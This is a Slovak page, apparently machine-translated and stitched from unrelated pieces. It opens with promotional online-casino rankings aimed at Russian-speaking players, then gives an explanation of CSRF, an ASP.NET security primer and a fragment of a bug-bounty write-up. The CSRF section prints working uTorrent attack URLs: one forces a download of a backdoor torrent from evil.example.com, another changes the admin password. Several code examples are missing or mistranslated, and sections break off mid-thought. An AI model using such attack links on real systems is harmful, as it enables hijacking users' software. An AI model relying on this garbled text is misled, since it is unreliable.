Čo je hodnota csrf. čo je CSRF? Význam pojmu CSRF

Nájdenie spoľahlivých a poctivých online kasín si vyžaduje veľa voľného času, najmä pokiaľ ide o začiatočníkov. Je potrebné hodnotiť transparentnosť herného klubu, online reputáciu, spätnú väzbu od ostatných používateľov, rýchlosť platieb a mnoho ďalších faktorov činnosti. Aby sme zachránili hráčov pred podobným osudom, zostavili sme hodnotenie kasína , ktoré boli dôkladne testované a potvrdili svoju poctivosť a dobrú návratnosť na hracích automatoch.

Naše hodnotenie najlepších kasín

Už nemusíte tráviť osobný čas kontrolou spoľahlivosti inštitúcie. Skúsení analytici, ktorí sa špecializujú na hazardné hry a mesačne strávia desiatky hodín v kasínach, si sami objektívne zhodnotili prácu herných klubov. Analyzovali stovky prevádzok, aby v konečnom dôsledku používateľom ponúkli tie najlepšie platformy dostupné na internete.

Počiatočný zoznam klubov bol pomerne veľký, ale v procese analýzy pochybné a nespoľahlivé inštitúcie odpadli. Napríklad prítomnosť falošnej licencie, absencia certifikátov pre sloty, nahradenie servera v automate a mnohé ďalšie slúžia ako varovanie pre odborníkov. Dokonca aj jeden faktor, ktorý vám umožňuje pochybovať o čestnosti kasína, je dôvodom na vylúčenie z hodnotenia.

Okrem povrchnej analýzy herných platforiem sa kontrolujú informácie o prevádzkach na internete. Pri analýze sa zohľadňuje reputácia v sieti, recenzie súčasných a bývalých hráčov, prítomnosť konfliktných situácií, kasínové škandály a spôsoby riešenia problémov od tvorcov. Osobitná pozornosť je venovaná mladým klubom s praxou do 1-2 rokov.

Ako sa zostavuje hodnotenie kasína a kto sa tam dostane?

Na tvorenie hodnotenie licencovaných kasínpriťahujeme skúsených hráčov a analytikov s viac ako 10-ročnými skúsenosťami v tomto odvetví. Vďaka svojim znalostiam ľahko vyradia podvodné kluby a následne vykonajú dôkladnú analýzu zvyšných prevádzok. Výsledkom je malý zoznam spoľahlivých kasín, kde môžete bezpečne hrať bez obáv o poctivosť výsledkov a výplat.

  • dostupnosť licencie od regulátora hazardných hier a zvolená jurisdikcia na registráciu;
  • bezpečnosť platformy, ktorá zaručuje dôvernosť údajov a platobných informácií;
  • výber licencovaného softvéru od spoľahlivých poskytovateľov, do ktorých práce nemožno zasahovať;
  • prítomnosť ruskej verzie pre väčšie pohodlie používateľov z Ruska a krajín SNŠ;
  • podporná služba vrátane harmonogramu jej práce, rýchlosti reakcií, kvality riešenia problémov;
  • výber peňazí bez ďalších oneskorení alebo overení, ako aj možnosti prijímania peňazí a rýchlosť spracovania transakcií;
  • bonusové programy pre nových a pravidelných používateľov, dostupnosť turnajov, lotérií, pravidelné propagačné akcie;
  • platobné systémy, ktoré ovplyvňujú pohodlie zákazníkov pri dopĺňaní účtu a vyberaní výhier.

Toto je len malý zoznam aktuálnych požiadaviek, ktoré hodnotia odborníci. Každé kritérium má svoj vlastný koeficient dôležitosti, ktorý sa berie do úvahy pri sčítaní konečného výsledku.

Čo je licencované kasíno?

Hodnotenie kasína , čo naznačuje čestnosť a transparentnosť práce herných platforiem, môže pozostávať výlučne z prevádzok s platnými prevádzkovými licenciami. Legálne kluby sú povinné prejsť kontrolou regulátorov a dodržiavať všetky svoje pravidlá, aby získali povolenie.

Nestačí len uviesť prítomnosť licencie na stránke. Odborníci chápu, že podvodníci môžu používať logá na oklamanie naivných používateľov, takže informácie analyzujú sami. Ak to chcete urobiť, prejdite na oficiálnu webovú stránku regulátora a potvrďte informácie pomocou čísla dokumentu alebo názvu právnickej osoby. Ak neexistujú žiadne informácie o licencii, ide o falošné.

Analytici tiež používajú technickú analýzu na kontrolu licencovaného softvéru. Pomocou vývojárskych nástrojov získajú prístup k informáciám o serveri na prenos údajov. Ak kasíno používa oficiálny portál poskytovateľa softvéru, potom je softvér čestný a legálny. To znamená, že nie je možné zasahovať do jeho práce a prekrúcať konečné výsledky.

Ako sa určuje poctivosť kasína?

Je dosť ťažké nezávisle posúdiť poctivosť herného klubu, čo je spôsobené množstvom dostupných zdrojov a vedomostí. Pred zaradením prevádzok dohodnotenie poctivých kasín, analytici dôkladne preverujú mnohé faktory:

  • regióny, z ktorých sú hráči akceptovaní, keďže zakázané jurisdikcie hovoria za veľa;
  • limity výberu, ktoré obmedzujú jednorazové transakcie, ako aj denný, týždenný a mesačný objem transakcií;
  • dostupnosť informácií o KYC a AML, čo naznačuje súlad s požiadavkami legislatívy na poctivosť a zákonnosť pôvodu peňazí;
  • povesť, ktorá potvrdzuje čestnosť a spoľahlivosť klubu a absenciu významných škandálov alebo problémov;
  • trvanie práce, čo vám umožní plne vyhodnotiť históriu online zdroja vrátane všetkých výhod a nevýhod;
  • prítomnosť regulátora a dodržiavanie jeho pravidiel, čo zvyšuje šance na spravodlivosť.

Licencia a regulátor sú dosť dôležitým kritériom, ale to nedáva 100% záruku poctivosti. S takýmto titulom môžu počítať len kluby, ktoré hráčom umožnili získať veľké výhry a jackpoty, dávali darčeky do lotérií a turnajov.

Odrody hracích automatov

Množstvo hracích automatov, automatov a iných druhov hazardnej zábavy hovorí veľa o inštitúcii. Niektoré kluby spolupracujú len s niekoľkými poskytovateľmi softvéru, no dostávajú od nich obľúbené a nové ponuky hier, iné rozširujú sieť partnerských zmlúv a pozývajú k spolupráci obrovské množstvo značiek. Čím viac automatov je prezentovaných na hernej platforme, tým ľahšie si klient vyberie automat, ktorý sa mu páči.

ale hodnotenie licencovaných kasínzohľadňuje nielen rozmanitosť hier, ale aj ich kvalitu. Spoľahlivé herné zariadenia používajú výhradne licencovaný softvér, ktorý bol testovaný na poctivosť a bezpečnosť. Takéto stroje vám umožňujú počítať s návratnosťou až 98% a nemôžete zasahovať do ich práce a vylaďovať algoritmus na generovanie výsledkov.

Úprimne povedané, všetky stránky sú zamerané na zisk. Aj keď jeden z hráčov vyhrá jackpot, kasíno zostáva dlhodobo v pluse. Ale iba čestné kluby umožňujú používateľom získať veľký jackpot a vybrať ho na skutočný účet. To je to, čo odlišuje licencované online kasína od podvodných projektov.

Bonusová politika

Vytvorte hodnotenie kasína bez zohľadnenia bonusovej politiky nie je možné. Všetky herné kluby využívajú propagačné akcie a darčeky na prilákanie nových a udržanie existujúcich zákazníkov. Niektoré inštitúcie sa však správajú dosť prefíkane, vytvárajú skryté podmienky pre stávkovanie alebo časové rozlíšenia, stanovujú nereálne stávkové podmienky v rozsahu od x60-100, ktoré je takmer nemožné splniť.

Štandardný súbor stimulov pozostáva z nasledujúcich kategórií:

  1. Bonus bez vkladu za privítanie nových zákazníkov – udeľuje sa za potvrdenie e-mailovej adresy a telefónneho čísla. Ako odmena sa využívajú voľné peniaze alebo točenia zadarmo na automatoch s povinnou podmienkou stávkovania.
  2. Registračný darček - bezplatné zatočenia alebo multiplikátory výšky doplnenia účtu za 1-5 vkladov od okamihu vytvorenia osobného profilu. Presnú výšku bonusu a maximálne limity si stanovuje každý klub individuálne.
  3. Vernostný program - rôzne systémy postavenia používateľov, ktoré ovplyvňujú veľkosť týždenného cashbacku, dostupnosť osobných podmienok služby, individuálne darčeky, výhodný výmenný kurz vnútornej meny za peniaze a oveľa viac.
  4. Propagačné kódy sú pravidelné propagačné akcie od herných klubov, ktoré distribuujú darčekové poukážky na zatočenia zadarmo, bonusy bez vkladu alebo multiplikátory účtu pre každého.

Kasína v ruskom jazyku

Skladanie hodnotenie najlepších kasín v roku 2020berie sa do úvahy prítomnosť ruského jazyka na platforme. Rozhranie v ruskom jazyku umožňuje používateľom z Ruska, Bieloruska, Ukrajiny a krajín SNŠ jednoducho zvládnuť registráciu, prihlásenie, doplnenie účtu a ďalšie funkcie platformy. Potvrdzuje tiež, že inštitúcia je zameraná na rusky hovoriacich používateľov, ktorým ponúka jedinečné bonusy a podporu.

Zohľadňuje sa práca podpornej služby. Väčšina herní poskytuje klientom asistenciu výlučne v angličtine, čo sťažuje komunikáciu. Ak chcete podať žiadosť a pochopiť odpoveď podpory, musíte použiť prekladateľa alebo kontaktovať skúsených ľudí. Preto hodnotenie zahŕňa iba tie online kluby, ktoré klientom radia v podporných chatoch a telefonicky v ruštine.

Rozhranie v ruskom jazyku v kasíne vám umožní ľahko porozumieť užívateľským pravidlám platformy, študovať bonusové ponuky a funkcie ich prírastkov, stávkovania, zúčastniť sa turnajov a lotérií bez akýchkoľvek pochybností o správnosti akcií.

Kasíno s rýchlymi výbermi

Osobitná pozornosť sa venuje rýchlosti výplat v online kasínach. Niektoré kluby ponúkajú výbery na bankové karty a e-peňaženky do niekoľkých hodín a VIP klientom vybavujú požiadavky okamžite. Iní využívajú manuálne spracovanie žiadostí v pracovné dni podľa osobitného harmonogramu, takže platby môžu byť oneskorené až 1-3 pracovné dni od okamihu podania žiadosti. Ak chcete používateľov ušetriť od dlhého čakania, vytvoril sahodnotenie kasína s rýchlym výberom.

Pozostáva výlučne z tých inštitúcií, ktoré promptne zvažujú všetky žiadosti a nevytvárajú prekážky pre prijímanie peňazí. Do úvahy sa berie nielen rýchlosť prevodov, ale aj absencia problémov pri žiadaní veľkých výplat či prevodoch peňazí po výhre jackpotu, veľkého jackpotu. Len čestné zariadenia môžu zaručiť spravodlivosť platieb a absenciu problémov s platbami.

Analyzuje tiež dostupné platobné systémy pre vklady a žiadosti o peniaze. Štandardné stránky podporujú minimálny počet spôsobov, ale progresívne kluby neustále analyzujú trendy, aby integrovali nové technické riešenia.

Hlavné platobné systémy v online kasínach:

  • bankové karty MIR, MasterCard, Visa;
  • elektronické peňaženky QIWI, Yandex, Webmoney, Neteller, Skrill a iné;
  • mobilné platby Beeline, MegaFon, MTS, TELE2;
  • Ruské internetové bankovníctvo;
  • populárne kryptomeny vrátane Bitcoinu, Etherea, Litecoinu.

Služba technickej podpory používateľov

Dôležitý faktor, ktorý bol braný do úvahy pri vytváraníhodnotenie poctivých kasín- Dostupnosť služieb zákazníckej podpory a kvalita jej práce. Spoľahlivé prevádzky sa starajú o vlastnú klientskú základňu, preto organizujú špeciálne telefónne linky, ako aj online chaty na rýchle odpovede na otázky používateľov a riešenie ich problémov.

Analytici na analýzu podpory použili telefónne linky, živé rozhovory a e-mailové kontakty. V rôznych časoch dňa dostávali pracovníci lokality rôzne otázky alebo požiadavky na riešenie technických problémov. Potom sa vykonalo hodnotenie kvality ich práce, ktoré zahŕňalo tieto faktory:

  • rýchlosť poskytovania odpovedí;
  • či konzultant rieši problém a koľko času to trvalo;
  • gramotnosť odpovedí a prítomnosť rusky hovoriacich zamestnancov na podporu.

Ak kasíno nemá rusky hovoriacich operátorov, odporúčame na preklad otázok a odpovedí konzultantov použiť online prekladač od spoločnosti Google.

závery

Pred registráciou v online klube musíte analyzovať spoľahlivosť, transparentnosť jeho práce, ako aj skontrolovať povesť a recenzie v sieti. Namiesto toho odporúčame použiťhodnotenie poctivých kasínzostavili skúsení hráči. S pomocou vlastných skúseností odmietli desiatky podozrivých herných klubov a v zozname ponechali najlepšie prevádzky roku 2020.

Žiadosť o falšovanie medzi stránkami, taktiež známy ako útok jedným kliknutím alebo jazdecká relácia a skrátené CSRF(niekedy vyslovené prílivový vývrt) alebo XSRF, je typ škodlivého softvéru využívaného z webovej lokality, na ktorú sa odosielajú neoprávnené príkazy od používateľa, ktorému webová aplikácia dôveruje. Existuje mnoho spôsobov, ako môže škodlivá webová lokalita odosielať takéto príkazy; špeciálne vytvorené značky obrázkov, skryté formuláre a napríklad JavaScript XMLHttpRequests môžu fungovať bez interakcie používateľa alebo dokonca vedomia. Na rozdiel od cross-site scriptingu (XSS), ktorý využíva dôveru používateľa pre konkrétnu stránku, CSRF využíva dôveru, ktorú má stránka v prehliadači používateľa.

príbeh

Zraniteľnosť CSRF je známa a v niektorých prípadoch sa využíva od roku 2001. Pretože sa vykonáva z IP adresy používateľa, niektoré protokoly webových stránok nemusia mať dôkaz CSRF. Zneužívanie je nedostatočne hlásené, aspoň verejne, a od roku 2007 bolo niekoľko dobre zdokumentovaných príkladov:

  • Webová stránka Netflix mala v roku 2006 množstvo zraniteľností CSRF, ktoré mohli útočníkovi umožniť vykonať akcie, ako je pridanie DVD do frontu na požičiavanie obete, zmena doručovacej adresy na účte alebo zmena prihlasovacích údajov obete, aby bol účet úplne kompromitovaný.
  • Webová aplikácia online bankovníctva ING Direct bola zraniteľná voči CSRF útokom, ktoré umožňovali nelegálne prevody peňazí.
  • Populárna webová stránka s videami YouTube bola v roku 2008 tiež zraniteľná voči CSRF, čo umožnilo akémukoľvek útočníkovi vykonávať takmer všetky akcie akéhokoľvek používateľa.
  • McAfee je tiež zraniteľný voči CSRF, čo útočníkom umožnilo upraviť ich firemný systém.

V roku 2018 sa uskutočnili nové útoky na webové zariadenia vrátane pokusov o zmenu nastavení DNS smerovačov. Niektorí výrobcovia smerovačov narýchlo vydali aktualizácie firmvéru na zlepšenie zabezpečenia a odporučili používateľom zmeniť nastavenia smerovača, aby sa znížilo riziko. Podrobnosti neboli zverejnené s odvolaním sa na "očividné obavy o bezpečnosť".

Príklad a špecifikácie

Útočníci, ktorí dokážu nájsť reprodukovateľný odkaz, ktorý vykonáva určitú akciu na vstupnej stránke, kým sa obeť prihlasuje, môžu takýto odkaz vložiť na stránku, ktorú ovládajú, a oklamať obeť, aby ju otvorila. Odkaz na útok nosiča môže byť umiestnený na miesto, ktoré obeť pravdepodobne navštívi, po prihlásení sa na cieľovú stránku (napríklad diskusia na fóre), alebo môže byť odoslaný v tele e-mailu HTML alebo v prílohe. Skutočná zraniteľnosť CSRF v utorrent (CVE-2008-6586) využila skutočnosť, že jeho webová konzola je dostupná na localhost: 8080 umožňovalo vykonávať kritické akcie pomocou jednoduchej požiadavky GET:

Vynútiť stiahnutie súboru .torrent http://localhost:8080/gui/action=add url&s=http://evil.example.com/backdoor.torrent Zmeniť heslo správcu utorrent http://localhost:8080/gui/action =setsetting&s =webui.password&v=eviladmin

Útoky boli spustené zverejnením škodlivých, automatizovaných prvkov HTML obrázkov na fórach a e-mailovým spamom, takže prehliadače navštevujúce tieto stránky ich otvorili automaticky, bez veľkého zásahu zo strany používateľa. Ľudia, ktorí používajú zraniteľnú verziu utorrentu v rovnakom čase ako otvárali tieto stránky, boli vystavení útoku.

Útoky CSRF pomocou značiek obrázkov sa často vykonávajú z internetových fór, kde môžu používatelia uverejňovať obrázky, ale nie JavaScript, ako napríklad pomocou BBCode:

http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Pri prístupe k odkazu na útok na lokálnu aplikáciu utorrent na localhost: 8080 prehliadač tiež vždy automaticky odošle všetky existujúce súbory cookie pre danú doménu. Táto spoločná vlastnosť webových prehliadačov umožňuje útokom CSRF využívať ich cielené zraniteľnosti a vykonávať nepriateľské akcie, pokiaľ je používateľ v čase útoku prihlásený na cieľovú webovú stránku (v tomto príklade na miestne webové rozhranie utorrent).

Spoofing požiadaviek medzi stránkami je mätúci proxy útok proti webovému prehliadaču.

CSRF má zvyčajne nasledujúce vlastnosti:

  • Zahŕňa stránky, ktoré sa spoliehajú na identitu používateľa.
  • Využíva dôveru lokality v túto identitu.
  • Oklame prehliadač používateľa, aby odoslal požiadavky HTTP na cieľovú stránku.
  • Zahŕňa požiadavky HTTP, ktoré majú vedľajšie účinky.

HTTP slovesá a CSRF

  • V HTTP GET je využitie CSRF triviálne pomocou vyššie opísaných metód, ako je jednoduchý hypertextový odkaz obsahujúci manipulované parametre a automaticky načítaný pomocou značky IMG. Podľa špecifikácie HTTP by sa však GET mal používať ako bezpečná metóda, t. j. výrazne nemeníca stav používateľa v aplikácii. Aplikácie, ktoré na takéto operácie používajú GET, by mali prejsť na HTTP POST alebo použiť ochranu CSRF.
  • HTTP POST má rôzne zraniteľnosti CSRF v závislosti od podrobných prípadov použitia:
    • Vo svojej najjednoduchšej forme POST s údajmi zakódovanými ako reťazec dotazu (pole1=hodnota1&pole2=hodnota2) sa útoky CSRF ľahko implementujú pomocou jednoduchého formulára HTML a musia sa použiť opatrenia proti CSRF.
    • Ak sú údaje odosielané v akomkoľvek inom formáte (JSON, XML), štandardnou metódou je zaslanie požiadavky POST pomocou XMLHttpRequest s útokmi CSRF, ktorým bránia SOP a ; existuje metóda na odosielanie ľubovoľného obsahu z jednoduchého formulára HTML pomocou atribútu ENCTYPE; takúto falošnú požiadavku je možné odlíšiť od legitímnej podľa typu obsahu text/obyčajný, ale ak nie je vykonaná na serveri, možno vykonať CSRF
  • iné metódy HTTP (PUT, DELETE atď.) môžu byť vydané iba pomocou XMLHttpRequest s prevenciou SOP a CSRF; Tieto opatrenia však nebudú aktívne na webových stránkach, ktoré ich explicitne deaktivujú pomocou Access-Control-Allow-Origin: * hlavička

Iné prístupy k CSRF

Okrem toho, hoci sa CSRF zvyčajne opisuje ako statický typ útoku, môže byť tiež dynamicky zostavený ako súčasť užitočného zaťaženia pre scenáre útokov medzi lokalitami, ako ukazuje červ Samy, alebo zostavený za behu z informácií o relácii, ktoré unikli cez výstupný obsah. a odoslaná do cieľa ako škodlivá adresa URL. Tokeny CSRF môžu byť tiež odoslané klientom-útočníkom z dôvodu fixácie relácie alebo iných zraniteľností, alebo môžu byť uhádnuté útokom hrubou silou, preložené do zákernej stránky, ktorá generuje tisíce neúspešných požiadaviek. Triedu útokov „Dynamic CSRF“ alebo používanie užitočného zaťaženia na klienta pre konkrétnu reláciu falšovania opísali v roku 2009 Nathan Hamiel a Sean Moyer na briefingoch BlackHat, hoci taxonómia ešte stále nenašla širšie uplatnenie.

Nový vektor na vytváranie dynamických CSRF útokov predstavil Oren Ofer na stretnutí miestnej kapitoly OWASP v januári 2012 – „AJAX Hammer – Dynamic CSRF“.

Dôsledky

Boli zverejnené indikátory závažnosti pre zraniteľnosti CSRF, ktoré vedú k vzdialenému spusteniu kódu s oprávneniami root, ako aj zraniteľnosť, ktorá by mohla ohroziť koreňový certifikát, čo by úplne podkopalo infraštruktúru verejných kľúčov.

Obmedzenia

Aby bola požiadavka na falšovanie medzi stránkami úspešná, musí sa stať niekoľko vecí:

  1. Útočník sa musí zamerať buď na stránku, ktorá nekontroluje hlavičku sprostredkovateľa, alebo na obeť pomocou prehliadača alebo doplnku, ktorý umožňuje spoofing sprostredkovateľa.
  2. Útočník musí na cieľovej stránke nájsť odoslaný formulár alebo adresu URL, ktorá má nejaké vedľajšie účinky (napríklad prevod peňazí alebo zmenu e-mailovej adresy alebo hesla obete).
  3. Útočník musí určiť správne hodnoty pre všetky formuláre alebo vstupy URL; ak niektorý z týchto údajov má byť tajnými overovacími hodnotami alebo identifikátormi, útočník nebude schopný uhádnuť, čo útočník pravdepodobne nebude schopný (pokiaľ útočník nebude mať pri odhade veľké šťastie).
  4. Útočník potrebuje nalákať obeť na webovú stránku so škodlivým kódom, kým sa obeť prihlási na cieľovú stránku.

Útok je slepý: útočník nevidí, čo cieľová stránka posiela späť obeti ako odpoveď na falošné požiadavky, pokiaľ nezneužíva skriptovanie medzi stránkami alebo inú chybu na cieľovej stránke. Útočník môže tiež zacieliť na akýkoľvek odkaz alebo odoslať akýkoľvek formulár, ktorý príde po počiatočnej falošnej žiadosti, ak sú tieto následné odkazy alebo formuláre rovnako predvídateľné. (Viaceré ciele možno simulovať zahrnutím viacerých obrázkov na stránku alebo použitím JavaScriptu na zavedenie oneskorenia medzi kliknutiami.)

Vzhľadom na tieto obmedzenia môže mať útočník problém nájsť anonym obete alebo zraniteľnú formu reprezentácie. Na druhej strane, pokusy o útok sú ľahko pripojené a pre obete neviditeľné a vývojári aplikácií sú menej oboznámení a pripravení na CS útoky ako napríklad na útoky na prelomenie hesiel v slovníku.

prevencia

Väčšina metód prevencie CSRF funguje tak, že sa do požiadaviek vkladajú ďalšie autentifikačné údaje, čo umožňuje webovej aplikácii odhaliť požiadavky z neoprávnených miest.

Značka modelu synchronizátora

  • Po prihlásení webová aplikácia nastaví súbor cookie obsahujúci náhodný token, ktorý zostáva rovnaký počas relácie používateľa
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Št, 23-Jul-2015 10:25:33 GMT; Maximálny vek=31449600; Cesta=/
  • JavaScript spustený na strane klienta načíta hodnotu a skopíruje ju do vlastnej hlavičky HTTP odoslanej s každou transakčnou požiadavkou
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • Server kontroluje prítomnosť a integritu tokenov

Bezpečnosť tejto metódy je založená na predpoklade, že iba JavaScript spustený v rámci rovnakého zdroja bude schopný prečítať hodnotu súboru cookie. JavaScript spustený na nečestnom súbore alebo e-maile nebude môcť čítať a kopírovať vlastnú hlavičku. Aj keď token CSRF cookies budú automaticky odoslané s nečestnou požiadavkou, server bude stále očakávať platný token X-CSRF hlavička .

Samotný token CSRF musí byť jedinečný a nepredvídateľný. Toto môže byť generované náhodne alebo môže byť odvodené z tokenov relácie pomocou HMAC:

Csrf_token = HMAC(session_token, application_secret)

Token súboru cookie CS by nemal mať príznak HTTPOnly, pretože je určený na čítanie podľa návrhu JavaScriptu.

Táto metóda je implementovaná mnohými modernými frameworkami ako Django a AngularJS. Pretože token zostáva konštantný počas relácie používateľa, funguje dobre s aplikáciami AJAX, ale neposkytuje sekvenovanie udalostí vo webových aplikáciách.

Ochrana poskytovaná touto metódou môže byť zmarená, ak cieľová webová stránka zakáže svoju politiku rovnakého pôvodu pomocou jednej z nasledujúcich metód:

  • Hlavička Permissive Access-Control-Allow-Origin (s hviezdičkou argumentu)
  • clientaccesspolicy.xml poskytujúci neúmyselný prístup k ovládaciemu prvku Silverlight
  • crossdomain.xml poskytujúci neúmyselný prístup k flashovým filmom

Súbor cookie dvojitého odoslania

Podobne ako pri prístupe typu cookie-to-header, ale bez zapojenia JavaScriptu, môže stránka nastaviť token CSRF ako súbor cookie a vložiť ho do skrytého poľa v každom formulári HTML odoslanom klientom. Po odoslaní formulára môže lokalita skontrolovať, či sa token súboru cookie zhoduje s tvarom súborov cookie. Zásady spoločného pôvodu bránia útočníkovi čítať alebo nastavovať súbory cookie v cieľovej doméne, takže nemôžu vložiť správny token do vytvoreného formulára.

Výhodou tejto metódy oproti vzoru synchronizátora je, že token nemusí byť uložený na serveri.

Zákaznícke záruky

Rozšírenia prehliadača ako RequestPolicy (pre Mozilla Firefox) alebo Umatrix (pre Firefox aj Google Chrome/Chromium) môžu zabrániť CSRF poskytnutím predvolenej politiky odmietnutia pre požiadavky medzi stránkami. To však môže výrazne narušiť bežnú prevádzku mnohých stránok. Rozšírenie CsFire (aj pre Firefox) môže zmierniť dopad CSRF s menším dopadom na bežné prehliadanie odstránením autentifikačných informácií z požiadaviek na viacerých stránkach.

ASP.NET MVC nie je najviac medializovaný, ale celkom populárny zásobník v prostredí vývoja webu. Z pohľadu (anti)hackera vám jeho štandardná funkcionalita poskytuje určitú základnú úroveň zabezpečenia, no na ochranu pred veľkou väčšinou hackerských trikov je potrebná dodatočná ochrana. V tomto článku sa budeme venovať základom, ktoré by mal vývojár ASP.NET (či už Core, MVC, MVC Razor alebo Web Forms) vedieť o zabezpečení.

Začnime známymi typmi útokov.

SQL Injection

Napodiv, ale v roku 2017 je vstrekovanie a najmä vstrekovanie SQL na prvom mieste medzi „10 najlepších bezpečnostných rizík OWASP“ (Projekt zabezpečenia otvorených webových aplikácií). Tento typ útoku znamená, že údaje zadané používateľom sa použijú na strane servera ako parametre dopytu.

Príklad klasickej injekcie SQL je špecifickejší pre aplikácie Web Forms. Použitie parametrov ako hodnôt dotazu pomáha chrániť pred útokmi:

String commandText = "AKTUALIZÁCIA SET Users Status = 1 WHERE CustomerID = @ID;"; Príkaz SqlCommand = new SqlCommand(text príkazu, reťazec pripojenia); príkaz.Parametre["@ID"].Hodnota = customerID;

Ak vyvíjate aplikáciu MVC, potom Entity Framework pokrýva niektoré zraniteľnosti. Musíte zvládnuť získať injekciu SQL, ktorá fungovala v aplikácii MVC / EF. Je to však možné, ak spúšťate SQL s ExecuteQuery alebo voláte zle napísané uložené procedúry.

Aj keď sa ORM vyhýba injekcii SQL (s výnimkou príkladov vyššie), odporúča sa, aby boli atribúty obmedzené na hodnoty, ktoré môžu mať polia modelu, a teda polia formulárov. Ak sa napríklad predpokladá, že do poľa možno zadať iba text, potom pomocou regulárneho výrazu zadajte rozsah ^+$ . A ak je potrebné do poľa zadať čísla, uveďte to ako požiadavku:

Verejný reťazec Zip ( get; set; )

Vo webových formulároch môžete obmedziť hodnoty pomocou validátorov. Príklad:

Keďže webové formuláre .NET 4.5 používajú nenápadnú validáciu. To znamená, že na kontrolu hodnoty formulára nemusíte písať žiadny dodatočný kód.

Najmä overovanie údajov môže pomôcť chrániť sa pred ďalšou známou zraniteľnosťou nazývanou cross-site scripting (XSS).

XSS

Typickým príkladom XSS je pridanie skriptu do komentára alebo záznamu v knihe návštev. Môže to vyzerať takto:

Ako ste pochopili, v tomto príklade sa súbory cookie z vášho webu odovzdávajú ako parameter nejakému zdroju hackerov.

Vo webových formulároch môžete urobiť chybu s kódom, ako je tento:

Prepáč<%= username %>ale heslo je zle

Je jasné, že namiesto používateľského mena môže byť skript. Aby ste sa vyhli spusteniu skriptu, môžete použiť aspoň iný výraz ASP.NET: , ktorý zakóduje jeho obsah.

Ak používame Razor, tak sa reťazce automaticky kódujú, čo znižuje možnosť implementácie XSS na minimum – hacker to dokáže len vtedy, ak urobíte hrubú chybu, napríklad použijete @Html.Raw(Model.username) resp. namiesto reťazca vo svojom modeli použite MvcHtmlString.

Pre dodatočnú ochranu pred XSS sú dáta kódované aj v C# kóde. V .NET Core môžete použiť nasledujúce kódovače z priestoru názvov System.Text.Encodings.Web: HtmlEncoder , JavaScriptEncoder a UrlEncoder .

Nasledujúci príklad vráti reťazec 6 7 8

V podstate, keď obeť načíta stránku, odošle požiadavku do Badoo skriptu, chytí parameter rt pre daného používateľa a potom odošle požiadavku v mene obete. V tomto prípade išlo o prepojenie Mahmoudovho účtu s účtom obete, čo umožnilo úplné prevzatie účtu.

závery

Kde je dym, tam je oheň. Tu si Mahmoud všimol, že parameter rt sa vracia na rôznych miestach v konkrétnych odpovediach json. Správne teda uhádol, že by sa to mohlo ukázať niekde, kde by sa to dalo použiť v tomto prípade v súbore js.

Výsledky

Útoky CSRF predstavujú ďalší nebezpečný vektor útoku a možno ich vykonať s malým alebo žiadnym oznámením obete. Hľadanie slabín CSRF vyžaduje určitú vynaliezavosť a opäť chuť všetko otestovať.

Vo všeobecnosti sú formuláre štandardne chránené rámcami ako Rails, ak stránka odošle požiadavku POST, ale rozhrania API môžu

byť samostatný príbeh. Napríklad Shopify je napísaný primárne na základe rámca Ruby on Rails, ktorý štandardne poskytuje ochranu CSRF pre všetky formy (aj keď sa dá vypnúť). To však zjavne nie je nevyhnutne prípad API vytvorených s týmto rámcom. Nakoniec venujte pozornosť volaniam, ktoré upravujú údaje na serveri (ako je akcia vymazania) a sú uskutočňované s požiadavkou GET.